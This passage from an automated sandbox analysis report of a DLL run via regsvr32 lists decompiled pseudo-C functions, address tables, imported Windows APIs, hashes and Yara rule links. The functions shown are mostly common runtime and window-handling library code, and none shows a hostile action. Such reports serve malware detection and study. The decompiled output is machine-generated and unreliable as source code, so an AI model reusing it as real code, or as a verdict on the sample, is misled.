										_t115 = (_t115 << 6) +  *((intOrPtr*)(_t122 + (_t78 >> 5) * 8));
										 *_t115 =  *_t132;
										 *((char*)(_t115 + 8)) =  *_t136 & 0x000000ff;
										_t40 = _t115 + 0x10; // 0x10
										if(E10040E80(0xfa0,  *_t132, _t102, _t40, _t114, _t115, _t122, _t123, _t125, _t128) == 0) {
											_t67 = 0xffffffff;
											goto L49;
										}
										 *((intOrPtr*)(_t115 + 0xc)) =  *((intOrPtr*)(_t115 + 0xc)) + 1;
										goto L28;
									}
									_t71 = GetFileType();
									if(_t71 == 0) {
										goto L28;
									}
									goto L25;
								}
								L28:
								_t78 = _t78 + 1;
								_t136 =  &(_t136[1]);
								_t132 =  &(_t132[8]);
							} while (_t78 < r15d);
							goto L29;
						}
						_t122 = 0x100b8b20;
						while(1) {
							E10038890(_t96, _t102, _t107, _t114, _t115, _t122, _t123, _t128);
							_t127 = _t96;
							if(_t96 == 0) {
								break;
							}
							 *((long long*)(_t122 + _t102 * 8)) = _t96;
							_t75 =  *0x100b8b10; // 0x20
							_t76 = _t75 + 0x20;
							 *0x100b8b10 = _t76;
							_t23 = _t127 + 0x800; // 0x800
							_t107 = _t23;
							if(_t127 >= _t23) {
								L15:
								_t102 = _t102 + 1;
								if(_t76 < r15d) {
									continue;
								}
								goto L19;
							} else {
								goto L13;
							}
							do {
								L13:
								 *((char*)(_t127 + 8)) = 0;
								 *_t127 = 0xffffffff;
								 *((char*)(_t127 + 9)) = 0xa;
								 *(_t127 + 0xc) = r12d;
								 *(_t127 + 0x38) =  *(_t127 + 0x38) & 0x00000080;
								 *((char*)(_t127 + 0x39)) = 0xa;
								 *((char*)(_t127 + 0x3a)) = 0xa;
								_t127 = _t127 + 0x40;
								_t96 =  *((intOrPtr*)(_t122 + _t102 * 8)) + 0x800;
							} while (_t127 < _t96);
							_t76 =  *0x100b8b10; // 0x20
							goto L15;
						}
						r15d =  *0x100b8b10; // 0x20
						goto L19;
					}
					r12d = 0;
					do {
						 *((intOrPtr*)(_t126 + 8)) = r12b;
						 *_t126 = 0xffffffff;
						 *((char*)(_t126 + 9)) = 0xa;
						 *(_t126 + 0xc) = r12d;
						 *((intOrPtr*)(_t126 + 0x38)) = r12b;
						 *((char*)(_t126 + 0x39)) = 0xa;
						 *((char*)(_t126 + 0x3a)) = 0xa;
						_t126 = _t126 + 0x40;
						_t100 =  *0x100b8b20; // 0x2235410
					} while (_t126 < _t100 + 0x800);
					_t80 =  *0x100b8b10; // 0x20
					goto L7;
				}
				_t10 = _t126 - 1; // -1
				_t67 = _t10;
				goto L49;
			}

0x1003d9a0
0x1003d9a0
0x1003d9a0
0x1003d9a0
0x1003d9a0
0x1003d9a0
0x1003d9a0
0x1003d9aa
0x1003d9ae
0x1003d9b2
0x1003d9b6
0x1003d9ba
0x1003d9be
0x1003d9c2
0x1003d9c6
0x1003d9cb
0x1003d9da
0x1003d9df
0x1003d9e5
0x1003d9f0
0x1003d9f7
0x1003d9fc
0x1003da0b
0x1003da50
0x1003da53
0x1003da59
0x1003dbb2
0x1003dbb2
0x1003dbb5
0x1003dbc0
0x1003dbc7
0x1003dbce
0x1003dbd5
0x1003dbe6
0x1003dbed
0x1003dbed
0x1003dc03
0x1003dc09
0x1003dc10
0x1003dc5d
0x1003dc5d
0x1003dc61
0x00000000
0x1003dc17
0x1003dc1a
0x1003dc22
0x00000000
0x00000000
0x1003dc24
0x1003dc27
0x1003dc2d
0x1003dc38
0x1003dc3a
0x1003dc3a
0x1003dc2f
0x1003dc2f
0x1003dc2f
0x1003dc3e
0x1003dc4e
0x1003dc56
0x1003dc8f
0x1003dcce
0x1003dc50
0x1003dc50
0x00000000
0x1003dc50
0x1003dc4e
0x1003dbdd
0x1003dbdd
0x1003dbdd
0x1003dc68
0x1003dc68
0x1003dc6c
0x1003dc70
0x1003dc80
0x1003dc86
0x00000000
0x1003dc86
0x1003da5f
0x1003da67
0x00000000
0x00000000
0x1003da6d
0x1003da70
0x1003da74
0x1003da78
0x1003da81
0x1003da8d
0x1003db25
0x1003db2c
0x1003db2c
0x1003db32
0x00000000
0x00000000
0x00000000
0x00000000
0x1003db34
0x1003db34
0x1003db34
0x1003db3c
0x1003db44
0x1003db4a
0x00000000
0x00000000
0x1003db4e
0x1003db5a
0x1003db64
0x1003db67
0x1003db6e
0x1003db76
0x1003db7d
0x1003db80
0x1003db90
0x1003db98
0x00000000
0x1003db98
0x1003db92
0x00000000
0x1003db92
0x1003db50
0x1003db58
0x00000000
0x00000000
0x00000000
0x1003db58
0x1003dba2
0x1003dba2
0x1003dba5
0x1003dba9
0x1003dbad
0x00000000
0x1003db34
0x1003da93
0x1003daa0
0x1003daa8
0x1003daad
0x1003dab3
0x00000000
0x00000000
0x1003dab5
0x1003dab9
0x1003dabf
0x1003dac2
0x1003dac8
0x1003dac8
0x1003dad2
0x1003db11
0x1003db11
0x1003db18
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1003dad4
0x1003dad4
0x1003dad4
0x1003dad9
0x1003dae0
0x1003dae5
0x1003dae9
0x1003daee
0x1003daf3
0x1003daf8
0x1003db00
0x1003db06
0x1003db0b
0x00000000
0x1003db0b
0x1003db1c
0x00000000
0x1003db1c
0x1003da0d
0x1003da10
0x1003da10
0x1003da14
0x1003da1b
0x1003da20
0x1003da24
0x1003da28
0x1003da2d
0x1003da32
0x1003da36
0x1003da43
0x1003da48
0x00000000
0x1003da48
0x1003d9e7
0x1003d9e7
0x00000000

APIs

GetStartupInfoA.KERNEL32 ref: 1003D9CB

Part of subcall function 10038890: Sleep.KERNEL32(?,?,?,?,10035F07,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 100388E0

GetFileType.KERNEL32 ref: 1003DB50

Strings

@, xrefs: 1003DC5D

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID: @
API String ID: 1527402494-2766056989
Opcode ID: 46a4a336ad5b0eecac3e3e8e32aeb2445a59570539bec60a519b516cc6effbb9
Instruction ID: 8bbc55fd5690bdf88b077fe0c57b87cc330dcee7c33619d5afb61280642e981a
Opcode Fuzzy Hash: 46a4a336ad5b0eecac3e3e8e32aeb2445a59570539bec60a519b516cc6effbb9
Instruction Fuzzy Hash: 1C811076724B808ADB12EF20F85475877A5F70A7B5F168716CABA4B3E0DBB8C855C301

Uniqueness

Uniqueness Score: -1.00%

Function 1004D320 Relevance: 10.7, APIs: 7, Instructions: 179COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 1004D38B
GetCPInfo.KERNEL32 ref: 1004D3AA
MultiByteToWideChar.KERNEL32 ref: 1004D453
MultiByteToWideChar.KERNEL32 ref: 1004D4AD
WideCharToMultiByte.KERNEL32 ref: 1004D4E6
WideCharToMultiByte.KERNEL32 ref: 1004D523
WideCharToMultiByte.KERNEL32 ref: 1004D562

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: b19cb5e153f183e6c8a8f189e637886fe0651f8c9022e65914fefda704fb9619
Instruction ID: eda99536715a6ca5112cf8cbf03482af9a1974d33e18e7d47f7efd09c5802c8d
Opcode Fuzzy Hash: b19cb5e153f183e6c8a8f189e637886fe0651f8c9022e65914fefda704fb9619
Instruction Fuzzy Hash: D561A032300B808AD710EF25A84039A77E5F788BE8F64422AEE6D87B98DF78D555D744

Uniqueness

Uniqueness Score: -1.00%

Function 1002B2A8 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E1002B2A8(signed int __ecx, void* __edx, signed int __ebp, void* __rcx, void* __rdx, void* __r8, void* __r9) {
				signed int _v88;
				void* _v152;
				signed short _v168;
				intOrPtr _v176;
				signed long long _v184;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				int _t35;
				int _t38;
				void* _t39;
				signed int _t40;
				signed int _t42;
				signed int _t49;
				signed int _t54;
				signed int _t55;
				signed int _t57;
				signed int _t60;
				void* _t63;
				signed long long _t66;
				signed long long _t67;
				signed long long _t68;
				void* _t70;
				signed long long _t72;
				void* _t73;
				void* _t89;
				signed int* _t90;
				void* _t91;
				void* _t92;
				signed long long _t103;
				signed long long _t104;

				_t60 = __ebp;
				_t57 = __ecx;
				_t93 =  &_v152;
				_t66 =  *0x100b1640; // 0xf93099fb11e7
				_t67 = _t66 ^  &_v152;
				_v88 = _t67;
				_v168 = r8w;
				_t91 = __rcx;
				if( *((intOrPtr*)(__rcx + 8)) != 0) {
					GlobalLock();
					r12d = 0;
					_t90 = _t67;
					__eflags = _t90[0] - 0xffff;
					r12b = _t90[0] == 0xffff;
					__eflags = _t90[0] - 0xffff;
					if(_t90[0] != 0xffff) {
						_t54 =  *_t90;
					} else {
						_t54 = _t90[3];
					}
					_t55 = _t54 & 0x00000040;
					asm("sbb ebp, ebp");
					_t63 = (_t60 & 0x00000002) + 1 + (_t60 & 0x00000002) + 1;
					__eflags = r12d;
					if(r12d == 0) {
						 *_t90 =  *_t90 | 0x00000040;
						__eflags =  *_t90;
					} else {
						_t90[3] = _t90[3] | 0x00000040;
					}
					_t35 = lstrlenA();
					__eflags = _t35 - 0x20;
					if(_t35 >= 0x20) {
						goto L1;
					} else {
						_t68 =  &_v152;
						r9d = 0xffffffff;
						_t57 = 0;
						_v176 = 0x20;
						_v184 = _t68;
						_t38 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
						r15d = _t92 + _t68 * 2;
						__eflags = r15d - _t63;
						if(r15d < _t63) {
							goto L1;
						} else {
							_t39 = E1002B0C4(_t38, _t90);
							__eflags = _t55;
							_t104 = _t68;
							if(_t55 == 0) {
								_t57 = 0;
								__eflags = 0;
							} else {
								_t73 = _t63;
								E1002FFF0(_t39, _t73 + _t68);
								_t16 = _t68 * 2; // 0x2
								_t57 = _t73 + _t16 + 2;
							}
							_t19 = _t104 + 3; // 0x3
							_t70 = r15d;
							_t21 = _t104 + 3; // 0x3
							_t103 = _t57 + _t19 & 0xfffffffc;
							_t72 = _t70 + _t21 & 0xfffffffc;
							__eflags = r12d;
							if(r12d == 0) {
								_t40 = _t90[2];
							} else {
								_t40 = _t90[4] & 0x0000ffff;
							}
							__eflags = r15d - _t57;
							if(r15d == _t57) {
								L27:
								r15d = r15d - _t63;
								_t99 = r15d;
								 *_t104 = _v168 & 0x0000ffff;
								_t42 = E10030870(_t72, _t63 + _t104, r15d, _t90, _t91, _t92,  &_v152, r15d);
								__eflags = _t42;
								if(_t42 != 0) {
									__eflags = _t42 - 0xc;
									if(__eflags == 0) {
										L34:
										E1000E35C(_t57, 0, __eflags, _t99);
										asm("int3");
									} else {
										__eflags = _t42 - 0x16;
										if(_t42 == 0x16) {
											L33:
											E1000E3A4();
											asm("int3");
											goto L34;
										} else {
											__eflags = _t42 - 0x22;
											if(_t42 == 0x22) {
												goto L33;
											} else {
												__eflags = _t42 - 0x50;
												if(_t42 != 0x50) {
													E1000E3A4();
													asm("int3");
													goto L33;
												}
											}
										}
									}
								}
								_t27 = _t91 + 8;
								 *_t27 =  *(_t91 + 8) + _t55 - r13d;
								__eflags =  *_t27;
								GlobalUnlock(??);
								 *((intOrPtr*)(_t91 + 0xc)) = 0;
							} else {
								__eflags = _t40;
								if(_t40 == 0) {
									goto L27;
								} else {
									_t89 = _t70 - _t103 + _t90;
									__eflags = _t89 - _t70;
									if(_t89 > _t70) {
										goto L1;
									} else {
										_t100 = _t89;
										_t49 = E10030870(_t72, _t72, _t89, _t90, _t91, _t92, _t103, _t89);
										__eflags = _t49;
										if(_t49 != 0) {
											__eflags = _t49 - 0xc;
											if(__eflags == 0) {
												L26:
												E1000E35C(_t57, 0, __eflags, _t100);
												asm("int3");
											} else {
												__eflags = _t49 - 0x16;
												if(_t49 == 0x16) {
													L25:
													E1000E3A4();
													asm("int3");
													goto L26;
												} else {
													__eflags = _t49 - 0x22;
													if(_t49 == 0x22) {
														goto L25;
													} else {
														__eflags = _t49 - 0x50;
														if(_t49 != 0x50) {
															E1000E3A4();
															asm("int3");
															goto L25;
														}
													}
												}
											}
										}
										goto L27;
									}
								}
							}
						}
					}
				} else {
					L1:
				}
				return E1002FF40(_t57, _v88 ^ _t93);
			}

0x1002b2a8
0x1002b2a8
0x1002b2b5
0x1002b2bc
0x1002b2c3
0x1002b2c6
0x1002b2d2
0x1002b2db
0x1002b2de
0x1002b2ea
0x1002b2f0
0x1002b2f3
0x1002b2fa
0x1002b2fe
0x1002b302
0x1002b306
0x1002b30d
0x1002b308
0x1002b308
0x1002b308
0x1002b30f
0x1002b317
0x1002b31f
0x1002b321
0x1002b324
0x1002b32c
0x1002b32c
0x1002b326
0x1002b326
0x1002b326
0x1002b332
0x1002b338
0x1002b33b
0x00000000
0x1002b33d
0x1002b33d
0x1002b342
0x1002b34d
0x1002b34f
0x1002b357
0x1002b35c
0x1002b362
0x1002b367
0x1002b36a
0x00000000
0x1002b370
0x1002b373
0x1002b378
0x1002b37a
0x1002b37d
0x1002b391
0x1002b391
0x1002b37f
0x1002b37f
0x1002b386
0x1002b38b
0x1002b38b
0x1002b38b
0x1002b396
0x1002b39b
0x1002b39e
0x1002b3a3
0x1002b3a7
0x1002b3ab
0x1002b3ae
0x1002b3b6
0x1002b3b0
0x1002b3b0
0x1002b3b0
0x1002b3ba
0x1002b3bd
0x1002b411
0x1002b416
0x1002b427
0x1002b42a
0x1002b42e
0x1002b433
0x1002b435
0x1002b437
0x1002b43a
0x1002b457
0x1002b457
0x1002b45c
0x1002b43c
0x1002b43c
0x1002b43f
0x1002b451
0x1002b451
0x1002b456
0x00000000
0x1002b441
0x1002b441
0x1002b444
0x00000000
0x1002b446
0x1002b446
0x1002b449
0x1002b44b
0x1002b450
0x00000000
0x1002b450
0x1002b449
0x1002b444
0x1002b43f
0x1002b43a
0x1002b463
0x1002b463
0x1002b463
0x1002b466
0x1002b46c
0x1002b3bf
0x1002b3bf
0x1002b3c2
0x00000000
0x1002b3c4
0x1002b3cd
0x1002b3d0
0x1002b3d3
0x00000000
0x1002b3d9
0x1002b3d9
0x1002b3e2
0x1002b3e7
0x1002b3e9
0x1002b3eb
0x1002b3ee
0x1002b40b
0x1002b40b
0x1002b410
0x1002b3f0
0x1002b3f0
0x1002b3f3
0x1002b405
0x1002b405
0x1002b40a
0x00000000
0x1002b3f5
0x1002b3f5
0x1002b3f8
0x00000000
0x1002b3fa
0x1002b3fa
0x1002b3fd
0x1002b3ff
0x1002b404
0x00000000
0x1002b404
0x1002b3fd
0x1002b3f8
0x1002b3f3
0x1002b3ee
0x00000000
0x1002b3e9
0x1002b3d3
0x1002b3c2
0x1002b3bd
0x1002b36a
0x1002b2e0
0x1002b2e0
0x1002b2e0
0x1002b49b

APIs

GlobalLock.KERNEL32 ref: 1002B2EA
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,System,00000000,0000000A), ref: 1002B332
MultiByteToWideChar.KERNEL32 ref: 1002B35C

Strings

System, xrefs: 1002B2AC
, xrefs: 1002B34F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWidelstrlen
String ID: $System
API String ID: 1529587224-3632600494
Opcode ID: 5912f2db5dd9bcc4b12bc127d59309cad2bc6efb61a1c84a88b0da5bb904b459
Instruction ID: c169152098aefd86cd0c45b56a8b0c7785a13fe58925cdb1778dc6d63b74daf5
Opcode Fuzzy Hash: 5912f2db5dd9bcc4b12bc127d59309cad2bc6efb61a1c84a88b0da5bb904b459
Instruction Fuzzy Hash: 5A411876200E4086DB28EB66F88536E73A0FB047D4FD08625EF6687695EF38D989C700

Uniqueness

Uniqueness Score: -1.00%

Function 10020538 Relevance: 10.6, APIs: 7, Instructions: 64windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32 ref: 10020553
GetKeyState.USER32 ref: 1002056A
GetFocus.USER32 ref: 1002057F
GetDesktopWindow.USER32 ref: 10020588
SendMessageA.USER32 ref: 100205AD
SendMessageA.USER32 ref: 100205CC
GetParent.USER32 ref: 100205D8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSendState$DesktopFocusParentWindow
String ID:
API String ID: 4150626516-0
Opcode ID: 11b5e3e33314834e638fc6e5c25dd1af9d2b79788f06cacbe9e788c957af2b38
Instruction ID: 9f43469922e25fdbd16ecc567c333539f5ec15376da0ae2b6bb9a8047409e6ae
Opcode Fuzzy Hash: 11b5e3e33314834e638fc6e5c25dd1af9d2b79788f06cacbe9e788c957af2b38
Instruction Fuzzy Hash: B4110235302BA542EA059B12BD087EA6292FF5DFD9F8C4020DD4E17B45EE3888869B00

Uniqueness

Uniqueness Score: -1.00%

Function 10011884 Relevance: 10.6, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 10011899
GetWindowRect.USER32 ref: 100118B9
ScreenToClient.USER32 ref: 100118C7
ScreenToClient.USER32 ref: 100118D5
EqualRect.USER32 ref: 100118E3
DeferWindowPos.USER32 ref: 1001191F
SetWindowPos.USER32 ref: 10011949

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$ClientRectScreen$DeferEqualParent
String ID:
API String ID: 443303494-0
Opcode ID: b0512358193ae3154e17d6c792e2b48eded8cb528108c49888c857bdabf569a8
Instruction ID: 05af73507e2c69b184f14103bf2fea9c181c0dbf3121e80a515da9ab3f65cc9a
Opcode Fuzzy Hash: b0512358193ae3154e17d6c792e2b48eded8cb528108c49888c857bdabf569a8
Instruction Fuzzy Hash: 69216D722046809BDB09DF15E9547AD77A1F789BD4F048124EF8A47B18DF38C595CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10005B4C Relevance: 10.6, APIs: 7, Instructions: 60COMMON

Download Yara Rule

APIs

GetPropA.USER32 ref: 10005B6B
GetPropA.USER32 ref: 10005B8B
CallWindowProcA.USER32 ref: 10005BAA
SetTextColor.GDI32 ref: 10005BC9
SetWindowLongA.USER32 ref: 10005BDC
RemovePropA.USER32 ref: 10005BEC
CallWindowProcA.USER32 ref: 10005C03

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: PropWindow$CallProc$ColorLongRemoveText
String ID:
API String ID: 1756994091-0
Opcode ID: b58b2f83940f2d445fbcd70ad722b967113c2b793cd375bdba22cf917b3f4630
Instruction ID: d4b8260c72aa7023cfeb73a8f4eaa794061d81538b29c86b2825055366776598
Opcode Fuzzy Hash: b58b2f83940f2d445fbcd70ad722b967113c2b793cd375bdba22cf917b3f4630
Instruction Fuzzy Hash: 4A119E3530162086EA129B17BD04BAAB3A2BB8DFD6F459031DD8907B68DFBD95C8D740

Uniqueness

Uniqueness Score: -1.00%

Function 1001C058 Relevance: 10.6, APIs: 7, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 1001C075
lstrcmpA.KERNEL32(?,?,?,?,?,?,100160ED), ref: 1001C085
DocumentPropertiesA.WINSPOOL.DRV ref: 1001C0DA
GlobalAlloc.KERNEL32 ref: 1001C0E7
GlobalLock.KERNEL32 ref: 1001C0F7
DocumentPropertiesA.WINSPOOL.DRV ref: 1001C11B
ClosePrinter.WINSPOOL.DRV ref: 1001C141

Part of subcall function 10029CC4: GlobalFlags.KERNEL32 ref: 10029CD2
Part of subcall function 10029CC4: GlobalUnlock.KERNEL32 ref: 10029CE2
Part of subcall function 10029CC4: GlobalFree.KERNEL32 ref: 10029CF0

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreePrinter.Unlocklstrcmp
String ID:
API String ID: 992435789-0
Opcode ID: e9ab37f47f3174b25d8dc5f17601f4c51a7791a92c7b7b9947d6e9fa864d3372
Instruction ID: 5a6a8760744981328b1f22690ba2cae3291ba4fa7031dc5b5221503256078b76
Opcode Fuzzy Hash: e9ab37f47f3174b25d8dc5f17601f4c51a7791a92c7b7b9947d6e9fa864d3372
Instruction Fuzzy Hash: 2111B275205A8082DF04CBA1F85976E63A0FB89BD8F054539EE8E8B755DFB8C084C704

Uniqueness

Uniqueness Score: -1.00%

Function 1002C120 Relevance: 10.6, APIs: 7, Instructions: 56
windowCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E1002C120(long long __rax, void* __rcx, void* __rdx) {
				void* _v72;
				intOrPtr _v88;
				int _t21;
				int _t29;
				void* _t31;
				void* _t32;
				long long _t39;
				void* _t40;
				intOrPtr _t45;
				void* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t51 = __rdx;
				_t39 = __rax;
				_t40 = __rcx;
				while(1) {
					r9d = 0xf;
					r8d = 0xf;
					_v88 = 0;
					if(PeekMessageA(??, ??, ??, ??, ??) == 0) {
						break;
					}
					r9d = 0xf;
					r8d = 0xf;
					_t21 = GetMessageA(??, ??, ??, ??);
					if(_t21 != 0) {
						DispatchMessageA();
						continue;
					}
					return _t21;
				}
				_t45 =  *((intOrPtr*)(_t40 + 0x70));
				 *((intOrPtr*)(_t40 + 0x80)) =  *((intOrPtr*)(_t45 + 0xe0));
				 *(_t40 + 0x88) =  *(_t45 + 0xdc) & 0x0000f000;
				SetRectEmpty(??);
				 *((intOrPtr*)(_t40 + 0x24)) = 0;
				 *((intOrPtr*)(_t40 + 0x20)) = 0;
				 *((intOrPtr*)(_t40 + 0x28)) = 0;
				 *((intOrPtr*)(_t40 + 0x8c)) = 0;
				 *((intOrPtr*)(_t40 + 0x90)) = 0;
				GetDesktopWindow();
				E10014360(_t32, 0, _t39, _t39, _t51, _t53, _t54, _t55);
				_t29 = LockWindowUpdate(??);
				r8d = 0x403;
				if(_t29 == 0) {
					_t18 = _t51 + 3; // 0x3
					r8d = _t18;
				}
				GetDCEx();
				_t31 = E1000F604(_t32, 0, _t39, _t39, _t51, _t53, _t54, _t55);
				 *((long long*)(_t40 + 0x98)) = _t39;
				return _t31;
			}

0x1002c120
0x1002c120
0x1002c127
0x1002c157
0x1002c15c
0x1002c15f
0x1002c164
0x1002c174
0x00000000
0x00000000
0x1002c136
0x1002c139
0x1002c13e
0x1002c146
0x1002c151
0x00000000
0x1002c151
0x1002c214
0x1002c214
0x1002c176
0x1002c180
0x1002c195
0x1002c19b
0x1002c1a1
0x1002c1a8
0x1002c1af
0x1002c1b6
0x1002c1c0
0x1002c1ca
0x1002c1d3
0x1002c1df
0x1002c1ed
0x1002c1f3
0x1002c1f5
0x1002c1f5
0x1002c1f5
0x1002c1f9
0x1002c202
0x1002c207
0x00000000

APIs

GetMessageA.USER32 ref: 1002C13E
DispatchMessageA.USER32 ref: 1002C151
PeekMessageA.USER32 ref: 1002C16C
SetRectEmpty.USER32 ref: 1002C19B
GetDesktopWindow.USER32 ref: 1002C1CA
LockWindowUpdate.USER32 ref: 1002C1DF
GetDCEx.USER32 ref: 1002C1F9

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Message$Window$DesktopDispatchEmptyLockPeekRectUpdate
String ID:
API String ID: 1192691108-0
Opcode ID: 6dd85bb4e523dd3f375b929f8474399fe03b6089f0ebfe5b245839efc4933183
Instruction ID: e54f8bff1fad0ea81e73fdf54f864803dc70b77cd7d6cacd9ad8ec2227d43e27
Opcode Fuzzy Hash: 6dd85bb4e523dd3f375b929f8474399fe03b6089f0ebfe5b245839efc4933183
Instruction Fuzzy Hash: 0B216A76710A8186EB10CF26E859B9937A0F788F88F844035CE4E87758DF79C489DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001E0F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 1001E133
RegCreateKeyExA.ADVAPI32 ref: 1001E186
RegCreateKeyExA.ADVAPI32 ref: 1001E1D2
RegCloseKey.ADVAPI32 ref: 1001E1E5
RegCloseKey.ADVAPI32 ref: 1001E1F8

Strings

software, xrefs: 1001E100

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
